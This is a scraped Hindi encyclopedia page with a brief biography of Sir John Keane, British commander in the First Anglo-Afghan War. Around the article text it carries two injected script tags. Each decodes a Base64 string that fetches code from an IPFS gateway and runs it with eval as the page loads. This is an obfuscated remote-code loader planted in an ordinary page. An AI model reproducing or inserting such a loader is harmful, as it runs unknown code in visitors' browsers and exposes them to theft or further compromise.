सर जॉन कीन

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • सर जॉन कीन (लॉर्ड कीन) प्रथम अफगान युद्ध के समय अंग्रेजी सेना के मुख्य सेनापति।
  • उन्होंने अफगानिस्तान पर आक्रमण करके कंदहार, गजनी तथा काबुल पर अधिकार कर दोस्त मुहम्मद को हटाकर शाहशुजा को अफगानिस्तान का अमीर बनाया था।
  • उन्होंने सिंध के अमीरों को भी अपने यहाँ अंग्रेजी सेना रखने और सिंध को अंग्रेजों के संरक्षण में करने पर बाध्य किया था।

टीका टिप्पणी और संदर्भ